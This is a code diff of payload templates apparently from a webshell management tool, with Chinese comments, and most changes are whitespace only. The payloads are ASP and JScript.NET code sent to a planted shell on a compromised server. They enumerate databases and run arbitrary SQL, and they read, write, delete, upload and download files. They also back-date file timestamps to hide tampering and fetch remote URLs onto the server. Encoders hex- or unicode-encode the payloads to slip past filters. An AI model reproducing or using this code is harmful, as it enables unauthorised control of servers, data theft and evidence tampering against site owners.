_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
`Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}', [arg2]: '#{hex::sql}',
} }
}) })
\ No newline at end of file
...@@ -5,28 +5,24 @@ ...@@ -5,28 +5,24 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}' [arg1]: '#{hex::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}' [arg2]: '#{hex::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
`Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}', [arg2]: '#{hex::sql}',
} }
}) })
\ No newline at end of file
...@@ -5,8 +5,7 @@ ...@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open bd(Request("${arg1}")): Conn.Open bd(Request("${arg1}")):
If Err Then: If Err Then:
...@@ -32,8 +31,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -32,8 +31,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then: If Err Then:
...@@ -60,8 +58,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -60,8 +58,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then: If Err Then:
...@@ -86,14 +83,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -86,14 +83,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
Conn.Close: Conn.Close:
End If: End If:
Set Conn=Nothing: Set Conn=Nothing:
Response.Write(SI)`.replace(/\n\s+/g,''), Response.Write(SI)`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}' [arg2]: '#{hex::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9): Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):
RN=chr(13)&chr(10): RN=chr(13)&chr(10):
...@@ -130,4 +126,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -130,4 +126,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg2]: '#{hex::sql}', [arg2]: '#{hex::sql}',
[arg3]: '#{dbname}' [arg3]: '#{dbname}'
} }
}) })
\ No newline at end of file
...@@ -5,8 +5,7 @@ ...@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open bd(Request("${arg1}")): Conn.Open bd(Request("${arg1}")):
If Err Then: If Err Then:
...@@ -34,8 +33,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -34,8 +33,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then: If Err Then:
...@@ -62,8 +60,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -62,8 +60,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI: Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then: If Err Then:
...@@ -91,8 +88,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -91,8 +88,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):
`Set Conn=Server.CreateObject("Adodb.connection"):
Conn.Open ""&bd(Request("${arg1}"))&"": Conn.Open ""&bd(Request("${arg1}"))&"":
Conn.DefaultDatabase=""&Request("${arg3}")&"": Conn.DefaultDatabase=""&Request("${arg3}")&"":
Dim CO,HD,RN: Dim CO,HD,RN:
...@@ -132,4 +128,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -132,4 +128,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg2]: '#{hex::sql}', [arg2]: '#{hex::sql}',
[arg3]: '#{dbname}' [arg3]: '#{dbname}'
} }
}) })
\ No newline at end of file
...@@ -4,75 +4,64 @@ ...@@ -4,75 +4,64 @@
module.exports = (arg1, arg2, arg3) => ({ module.exports = (arg1, arg2, arg3) => ({
dir: { dir: {
_: _: `Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`,
`Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`,
[arg1]: "#{hex::path}" [arg1]: "#{hex::path}"
}, },
delete: { delete: {
_: _: `Dim P:P=bd(Request("${arg1}")):Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
`Dim P:P=bd(Request("${arg1}")):Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
[arg1]: "#{hex::path}" [arg1]: "#{hex::path}"
}, },
create_file: { create_file: {
_: _: `CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("${arg1}"))&"").Write(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Else:Response.Write("1"):End If`,
`CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("${arg1}"))&"").Write(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Else:Response.Write("1"):End If`,
[arg1]: "#{hex::path}", [arg1]: "#{hex::path}",
[arg2]: "#{hex::content}" [arg2]: "#{hex::content}"
}, },
read_file: { read_file: {
_: _: `Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile(bd(Request("${arg1}")),1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If`,
`Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile(bd(Request("${arg1}")),1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If`,
[arg1]: "#{hex::path}" [arg1]: "#{hex::path}"
}, },
copy: { copy: {
_: _: `SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)`,
`SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}", [arg1]: "#{hex::path}",
[arg2]: "#{hex::target}" [arg2]: "#{hex::target}"
}, },
download_file: { download_file: {
_: _: `Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request("${arg1}"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If`,
`Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request("${arg1}"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If`,
[arg1]: "#{hex::path}" [arg1]: "#{hex::path}"
}, },
upload_file: { upload_file: {
_: _: `Dim l,ss,ff,T:ff=bd(request("${arg1}")):ss=Request("${arg2}"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile ""&ff&"":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)`,
`Dim l,ss,ff,T:ff=bd(request("${arg1}")):ss=Request("${arg2}"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile ""&ff&"":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)`,
[arg1]: "#{hex::path}", [arg1]: "#{hex::path}",
[arg2]: "#{buffer::content}", [arg2]: "#{buffer::content}",
[arg3]: "1" [arg3]: "1"
}, },
rename: { rename: {
_: _: `SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)`,
`SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}", [arg1]: "#{hex::path}",
[arg2]: "#{hex::name}" [arg2]: "#{hex::name}"
}, },
retime: { retime: {
_: _: `FN=bd(Request("${arg1}")):TM=bd(Request("${arg2}")):AA=Split(FN,"\\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)`,
`FN=bd(Request("${arg1}")):TM=bd(Request("${arg2}")):AA=Split(FN,"\\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}", [arg1]: "#{hex::path}",
[arg2]: "#{hex::time}" [arg2]: "#{hex::time}"
}, },
mkdir: { mkdir: {
_: _: `Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder(bd(Request("${arg1}"))):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
`Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder(bd(Request("${arg1}"))):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
[arg1]: "#{hex::path}" [arg1]: "#{hex::path}"
}, },
wget: { wget: {
_: _: `Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,
`Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,
[arg1]: "#{hex::url}", [arg1]: "#{hex::url}",
[arg2]: "#{hex::path}" [arg2]: "#{hex::path}"
} }
}) })
\ No newline at end of file
...@@ -12,9 +12,9 @@ module.exports = (pwd, data, ext = null) => { ...@@ -12,9 +12,9 @@ module.exports = (pwd, data, ext = null) => {
.toString(16) .toString(16)
.substr(2)}`; .substr(2)}`;
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new Sys" + let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new Sys" +
"tem.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Co" + "tem.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Co" +
"nvert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Glob" + "nvert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Glob" +
"alization.NumberStyles.HexNumber))));}return sb.ToString();};"; "alization.NumberStyles.HexNumber))));}return sb.ToString();};";
data[randomID] = Buffer data[randomID] = Buffer
.from(data['_']) .from(data['_'])
.toString('hex'); .toString('hex');
......
...@@ -28,10 +28,10 @@ function string2unicode(str) { ...@@ -28,10 +28,10 @@ function string2unicode(str) {
} }
/* /*
* @param {String} pwd 连接密码 * @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组 * @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组
*/ */
module.exports = (pwd, data, ext = {}) => { module.exports = (pwd, data, ext = {}) => {
data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u'); data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u');
// 删除 _ 原有的payload // 删除 _ 原有的payload
......
...@@ -99,4 +99,4 @@ class ASPX extends Base { ...@@ -99,4 +99,4 @@ class ASPX extends Base {
} }
} }
module.exports = ASPX; module.exports = ASPX;
\ No newline at end of file
...@@ -17,4 +17,4 @@ module.exports = (arg1, arg2) => ({ ...@@ -17,4 +17,4 @@ module.exports = (arg1, arg2) => ({
}`.replace(/\n\s+/g, ''), }`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}" [arg1]: "#{base64::binarr}"
} }
}) })
\ No newline at end of file
...@@ -27,4 +27,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -27,4 +27,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}' [arg2]: '#{base64::sql}'
} }
}) })
\ No newline at end of file
...@@ -26,4 +26,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -26,4 +26,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}' [arg2]: '#{base64::sql}'
} }
}) })
\ No newline at end of file
...@@ -87,4 +87,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -87,4 +87,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg2]: '#{base64::sql}', [arg2]: '#{base64::sql}',
[arg3]: '#{dbname}' [arg3]: '#{dbname}'
} }
}) })
\ No newline at end of file
...@@ -83,4 +83,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -83,4 +83,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg2]: '#{base64::sql}', [arg2]: '#{base64::sql}',
[arg3]: '#{dbname}' [arg3]: '#{dbname}'
} }
}) })
\ No newline at end of file
...@@ -37,15 +37,15 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -37,15 +37,15 @@ module.exports = (arg1, arg2, arg3) => ({
upload_file: { upload_file: {
_: _:
// `var // `var
// P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.C // P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.C
// onvert.FromBase64String(Request.Item["${arg1}"]));var // onvert.FromBase64String(Request.Item["${arg1}"]));var
// Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var // Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var
// i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var // i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var
// fs:System.IO.FileStream=new // fs:System.IO.FileStream=new
// System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Cl // System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Cl
// ose();Response.Write("1");`, 修改写入模式Create->Append // ose();Response.Write("1");`, 修改写入模式Create->Append
